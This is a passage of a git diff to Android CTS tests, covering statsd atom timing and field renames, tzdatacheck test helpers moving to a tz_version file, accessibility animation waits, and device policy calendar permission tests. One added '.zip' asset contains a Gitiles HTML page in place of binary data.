+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -282,7 +282,7 @@
 
         Thread.sleep(WAIT_TIME_SHORT);
         setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
+        Thread.sleep(WAIT_TIME_LONG);
 
         List<Atom> atomList = getGaugeMetricDataList();
 
@@ -293,8 +293,8 @@
         for (Atom atom : atomList) {
             if (atom.getCpuTimePerUid().getUid() == uid) {
                 found = true;
-                assertTrue(atom.getCpuTimePerUid().getUserTimeMillis() > 0);
-                assertTrue(atom.getCpuTimePerUid().getSysTimeMillis() > 0);
+                assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
+                assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
             }
         }
         assertTrue("found uid " + uid, found);
@@ -1010,10 +1010,9 @@
             assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
             assertTrue("cache_in_bytes should not be negative", state.getCacheInBytes() >= 0);
             assertTrue("swap_in_bytes should not be negative", state.getSwapInBytes() >= 0);
-            assertTrue("rss_high_watermark_in_bytes should be positive",
-                    state.getRssHighWatermarkInBytes() > 0);
-            assertTrue("rss_high_watermark_in_bytes should not be smaller than rss_in_bytes",
-                    state.getRssHighWatermarkInBytes() >= state.getRssInBytes());
+            assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
+            assertTrue("start_time_nanos should be in the past",
+                    state.getStartTimeNanos() < System.nanoTime());
         }
         assertTrue("Did not find a matching atom for uid=" + uid, found);
     }
@@ -1045,10 +1044,6 @@
             assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
             assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
             assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
-            assertTrue("rss_high_watermark_in_bytes should be positive",
-                    state.getRssHighWatermarkInBytes() > 0);
-            assertTrue("rss_high_watermark_in_bytes should not be smaller than rss_in_bytes",
-                    state.getRssHighWatermarkInBytes() >= state.getRssInBytes());
             assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
             assertTrue("start_time_nanos should be in the past",
                     state.getStartTimeNanos() < System.nanoTime());
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index 883350e..351b1a6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -281,6 +281,8 @@
         LogUtil.CLog.d("Updating the following config:\n" + config.toString());
         uploadConfig(config);
         Thread.sleep(WAIT_TIME_SHORT);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_SHORT);
 
         List<Atom> statsdData = getGaugeMetricDataList();
 
@@ -384,6 +386,8 @@
         LogUtil.CLog.d("Updating the following config:\n" + config.toString());
         uploadConfig(config);
         Thread.sleep(WAIT_TIME_SHORT);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_SHORT);
 
         List<Atom> statsdData = getGaugeMetricDataList();
 
diff --git a/hostsidetests/theme/assets/24/400dpi.zip b/hostsidetests/theme/assets/24/400dpi.zip
new file mode 100755
index 0000000..b76e564
--- /dev/null
+++ b/hostsidetests/theme/assets/24/400dpi.zip
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>hostsidetests/theme/assets/26/400dpi.zip - platform/cts - Git at Google</title><link rel="stylesheet" type="text/css" href="/+static/base.8PwAX-dsywmU2hx_vi_YSA.cache.css"><link rel="stylesheet" type="text/css" href="/+static/prettify/prettify.pZ5FqzM6cPxAflH0va2Ucw.cache.css"><!-- default customHeadTagPart --></head><body class="Site"><header class="Site-header"><div class="Header"><a class="Header-image" href="/"><img src="//www.gstatic.com/images/branding/lockups/2x/lockup_git_color_108x24dp.png" width="108" height="24" alt="Google Git"></a><div class="Header-menu"> <a class="Header-menuItem" href="https://accounts.google.com/AccountChooser?service=gerritcodereview&amp;continue=https://android.googlesource.com/login/platform/cts/%2B/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">Sign in</a> </div></div></header><div class="Site-content"><div class="Container "><div class="Breadcrumbs"><a class="Breadcrumbs-crumb" href="/?format=HTML">android</a> / <a class="Breadcrumbs-crumb" href="/platform/">platform</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/">cts</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14">android-cts-8.0_r14</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/">.</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests">hostsidetests</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme">theme</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets">assets</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26">26</a> / <span class="Breadcrumbs-crumb">400dpi.zip</span></div><div class="u-sha1 u-monospace BlobSha1">blob: d624bd54df060b534c62c07b8cf8b70b126b8f58 [<a href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">file</a>] [<a href="/platform/cts/+log/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">log</a>] [<a href="/platform/cts/+blame/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">blame</a>]</div><div class="FileContents-binary">8615086-byte binary file</div></div> <!-- Container --></div> <!-- Site-content --><footer class="Site-footer"><div class="Footer"><span class="Footer-poweredBy">Powered by <a href="https://gerrit.googlesource.com/gitiles/">Gitiles</a>| <a href="https://policies.google.com/privacy">Privacy</a></span><span class="Footer-formats"><a class="u-monospace Footer-formatsItem" href="?format=TEXT">txt</a> <a class="u-monospace Footer-formatsItem" href="?format=JSON">json</a></span></div></footer></body></html>
\ No newline at end of file
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index f1cb7b9..9610db1 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -16,11 +16,16 @@
 
 package com.android.cts.tzdata;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static org.junit.Assert.assertArrayEquals;
+
+import libcore.timezone.TzDataSetVersion;
+import libcore.timezone.testing.ZoneInfoTestHelper;
+
 import com.android.timezone.distro.DistroVersion;
 import com.android.timezone.distro.TimeZoneDistro;
 import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -32,11 +37,6 @@
 import java.util.StringJoiner;
 import java.util.function.Consumer;
 
-import libcore.timezone.TzDataSetVersion;
-import libcore.timezone.testing.ZoneInfoTestHelper;
-
-import static org.junit.Assert.assertArrayEquals;
-
 /**
  * Tests for the tzdatacheck binary.
  *
@@ -58,15 +58,15 @@
 
     /**
      * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String CURRENT_DIR_NAME = "current";
 
     /**
      * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String STAGED_DIR_NAME = "staged";
 
@@ -78,10 +78,9 @@
     private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
 
     /**
-     * The name of the /system time zone data file. Also known to
-     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
      */
-    private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+    private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
 
     /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
     private static final String RULES_VERSION_ONE = "2016g";
@@ -137,6 +136,16 @@
         super.tearDown();
     }
 
+    /**
+     * Test the real /system files exist in the expected locations - tzcdatacheck relies on some of
+     * them.
+     */
+    public void testExpectedSystemFilesExist() throws Exception {
+        assertDeviceFileExists("/system/usr/share/zoneinfo/tz_version");
+        assertDeviceFileExists("/system/usr/share/zoneinfo/tzdata");
+        assertDeviceFileExists("/system/usr/share/zoneinfo/tzlookup.xml");
+    }
+
     public void testTooFewArgs() throws Exception {
         // No need to set up or push files to the device for this test.
         assertEquals(1, runTzDataCheckWithArgs(new String[0]));
@@ -146,7 +155,7 @@
     // {dataDir}/staged exists but it is a file.
     public void testStaging_stagingDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
@@ -169,7 +178,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_uninstall_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -195,7 +204,7 @@
     // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
     public void testStaging_uninstall_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -220,7 +229,7 @@
     // {dataDir}/staged contains an uninstall, and there is something to uninstall.
     public void testStaging_uninstall_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -248,7 +257,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_install_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -276,7 +285,7 @@
     // {dataDir}/staged contains an install, but there is nothing to replace.
     public void testStaging_install_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -302,7 +311,7 @@
     // {dataDir}/staged contains an install, and there is something to replace.
     public void testStaging_install_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         DistroVersion currentDistroVersion = new DistroVersion(
                 TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
@@ -343,11 +352,11 @@
     // an invalid distro is handled the same.
     public void testStaging_install_withCurrent_invalidStaged() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
-        // Create a staged uninstall which contains invalid.
+        // Create a staged uninstall which contains invalid files (missing distro version).
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
         byte[] stagedDistroBytes = createValidDistroBuilder()
                 .clearVersionForTests()
@@ -374,7 +383,7 @@
     // No {dataDir}/current exists.
     public void testNoCurrentDataDir() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Deliberately not creating anything on host in the data dir here, leaving the empty
         // structure.
@@ -389,7 +398,7 @@
     // {dataDir}/current exists but it is a file.
     public void testCurrentDataDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -411,7 +420,7 @@
     // {dataDir}/current exists but is missing the distro version file.
     public void testMissingDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -433,7 +442,7 @@
     // {dataDir}/current exists but the distro version file is short.
     public void testShortDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -457,7 +466,7 @@
     // {dataDir}/current exists and the distro version file is long enough, but contains junk.
     public void testCorruptDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -485,7 +494,7 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -509,7 +518,7 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -535,7 +544,7 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMinorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -562,7 +571,7 @@
     // be backwards compatible).
     public void testValidMinorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -585,8 +594,8 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system is missing.
-    public void testSystemTzDataFileMissing() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is missing.
+    public void testSystemTzVersionFileMissing() throws Exception {
         // Deliberately not writing anything in /system here.
 
         // Set up the /data directory structure on host.
@@ -604,11 +613,11 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
-    public void testSystemTzDataFileCorrupt() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is junk.
+    public void testSystemTzVersionFileCorrupt() throws Exception {
         // Set up the /system directory structure on host.
         byte[] invalidTzDataBytes = new byte[20];
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -625,10 +634,10 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is older.
+    // {dataDir}/current is valid and the tz_version file in /system is for older data.
     public void testSystemTzRulesOlder() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+        createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -653,17 +662,20 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
-    public void testSystemTzDataSame() throws Exception {
+    // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
+    // kept.
+    public void testSystemTzVersionSame() throws Exception {
         // Set up the /system directory structure on host.
         final String systemRulesVersion = VALID_RULES_VERSION;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion distroVersion = new DistroVersion(
                 TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(), systemRulesVersion, VALID_REVISION);
+                TzDataSetVersion.currentFormatMinorVersion(),
+                systemRulesVersion,
+                VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
@@ -681,10 +693,10 @@
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is the newer.
-    public void testSystemTzDataNewer() throws Exception {
+    public void testSystemTzVersionNewer() throws Exception {
         // Set up the /system directory structure on host.
         String systemRulesVersion = RULES_VERSION_TWO;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -711,9 +723,9 @@
         assertDevicePathDoesNotExist(dataCurrentDir);
     }
 
-    private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
-        byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+    private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
+        byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
     }
 
     private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
@@ -749,6 +761,15 @@
                 .build();
     }
 
+    private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
+        return new TzDataSetVersion(
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
+                rulesVersion,
+                VALID_REVISION)
+                .toBytes();
+    }
+
     private int runTzDataCheckOnDevice() throws Exception {
         return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
     }
@@ -908,8 +929,12 @@
         }
     }
 
+    private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
+        assertTrue(getDevice().doesFileExist(s));
+    }
+
     private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
-        assertTrue(getDevice().doesFileExist(path.devicePath));
+        assertDeviceFileExists(path.devicePath);
     }
 
     private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
diff --git a/libs/input/src/com/android/input/HidDevice.java b/libs/input/src/com/android/input/HidDevice.java
index 46cbb8c..173531a 100644
--- a/libs/input/src/com/android/input/HidDevice.java
+++ b/libs/input/src/com/android/input/HidDevice.java
@@ -22,6 +22,7 @@
 import android.app.UiAutomation;
 import android.hardware.input.InputManager;
 import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -84,6 +85,10 @@
             throw new RuntimeException(
                     "Unexpectedly interrupted while waiting for device added notification.");
         }
+        // Even though the device has been added, it still may not be ready to process the events
+        // right away. This seems to be a kernel bug.
+        // Add a small delay here to ensure device is "ready".
+        SystemClock.sleep(500);
     }
 
     /**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 6ed5457..f263d24 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -840,6 +840,8 @@
     @Test
     public void testTouchDelegateWithEbtBetweenView_ReHoverDelegate_FocusTargetAgain()
             throws Throwable {
+        mActivity.waitForEnterAnimationComplete();
+
         final Resources resources = sInstrumentation.getTargetContext().getResources();
         final String buttonResourceName = resources.getResourceName(R.id.button);
         final Button button = mActivity.findViewById(R.id.button);
@@ -902,6 +904,8 @@
     @Test
     public void testTouchDelegateCoverParentWithEbt_HoverChildAndBack_FocusTargetAgain()
             throws Throwable {
+        mActivity.waitForEnterAnimationComplete();
+
         final int touchableSize = 48;
         final Resources resources = sInstrumentation.getTargetContext().getResources();
         final String targetResourceName = resources.getResourceName(R.id.buttonDelegated);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index cdd109c..3814125 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -112,6 +112,8 @@
             return;
         }
 
+        getActivity().waitForEnterAnimationComplete();
+
         mHasMultiTouch = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN_MULTITOUCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT);
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
index 49be337..a078e2c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
@@ -19,6 +19,12 @@
 import android.view.WindowManager;
 
 public abstract class AccessibilityTestActivity extends Activity {
+    boolean mEnterAnimationComplete = false;
+
+    public void onStop() {
+        super.onStop();
+        mEnterAnimationComplete = false;
+    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -28,4 +34,22 @@
                 | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
                 | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
     }
+
+    @Override
+    public void onEnterAnimationComplete() {
+        synchronized (this) {
+            mEnterAnimationComplete = true;
+            notifyAll();
+        }
+    }
+
+    public void waitForEnterAnimationComplete() {
+        synchronized(this) {
+            if (mEnterAnimationComplete == false) {
+                try {
+                    wait(5000);
+                } catch (InterruptedException e) {}
+            }
+        }
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index d3733f9..3fbccc7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -41,8 +41,10 @@
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityWindowInfo;
 
+import com.android.compatibility.common.util.TestUtils;
+
 import java.util.List;
-import java.util.concurrent.TimeoutException;
+import java.util.function.BooleanSupplier;
 
 /**
  * Utilities useful when launching an activity to make sure it's all the way on the screen
@@ -119,11 +121,13 @@
         wakeUpOrBust(context, uiAutomation);
         if (isHomeScreenShowing(context, uiAutomation)) return;
         try {
-            uiAutomation.executeAndWaitForEvent(
+            executeAndWaitOn(
+                    uiAutomation,
                     () -> uiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME),
-                    (event) -> isHomeScreenShowing(context, uiAutomation),
-                    DEFAULT_TIMEOUT_MS);
-        } catch (TimeoutException te) {
+                    () -> isHomeScreenShowing(context, uiAutomation),
+                    DEFAULT_TIMEOUT_MS,
+                    "home screen");
+        } catch (AssertionError error) {
             Log.e(LOG_TAG, "Timed out looking for home screen. Dumping window list");
             final List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
             if (windows == null) {
@@ -192,4 +196,29 @@
         } while (SystemClock.uptimeMillis() < deadlineUptimeMillis);
         fail("Unable to wake up screen");
     }
+
+    /**
+     * Executes a command and waits for a specified condition up to a given wait timeout. It checks
+     * condition result each time when events delivered, and throws exception if the condition
+     * result is not {@code true} within the given timeout.
+     */
+    private static void executeAndWaitOn(UiAutomation uiAutomation, Runnable command,
+            BooleanSupplier condition, long timeoutMillis, String conditionName) {
+        final Object waitObject = new Object();
+        final long executionStartTimeMillis = SystemClock.uptimeMillis();
+        try {
+            uiAutomation.setOnAccessibilityEventListener((event) -> {
+                if (event.getEventTime() < executionStartTimeMillis) {
+                    return;
+                }
+                synchronized (waitObject) {
+                    waitObject.notifyAll();
+                }
+            });
+            command.run();
+            TestUtils.waitOn(waitObject, condition, timeoutMillis, conditionName);
+        } finally {
+            uiAutomation.setOnAccessibilityEventListener(null);
+        }
+    }
 }
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 8c9b0c1..ad1fd91 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -1050,4 +1050,30 @@
         assertThrows(SecurityException.class,
             () -> mDevicePolicyManager.setStorageEncryption(notAdmin, false));
     }
+
+    public void testCrossProfileCalendar_failIfNotProfileOwner() {
+        final String TEST_PACKAGE_NAME = "test.package.name";
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testCrossProfileCalendar_failIfNotProfileOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.addCrossProfileCalendarPackage(mComponent, TEST_PACKAGE_NAME);
+            fail("addCrossProfileCalendarPackage did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+        try {
+            mDevicePolicyManager.removeCrossProfileCalendarPackage(mComponent, TEST_PACKAGE_NAME);
+            fail("removeCrossProfileCalendarPackage did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+        try {
+            mDevicePolicyManager.getCrossProfileCalendarPackages(mComponent);
+            fail("getCrossProfileCalendarPackages did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+    }
 }
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 52dcb69..6e30b28 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -34,7 +34,8 @@
     android-support-test \
     platform-test-annotations \
     cts-amwm-util \
-    android-support-test
+    android-support-test \
+    platformprotosnano
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src)
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 70415e2..fe35eec 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -44,6 +44,7 @@
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
     <uses-permission android:name="android.permission.SET_WALLPAPER" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
 
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
diff --git a/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java b/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
index 06cfff3..38f0b52 100644
--- a/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
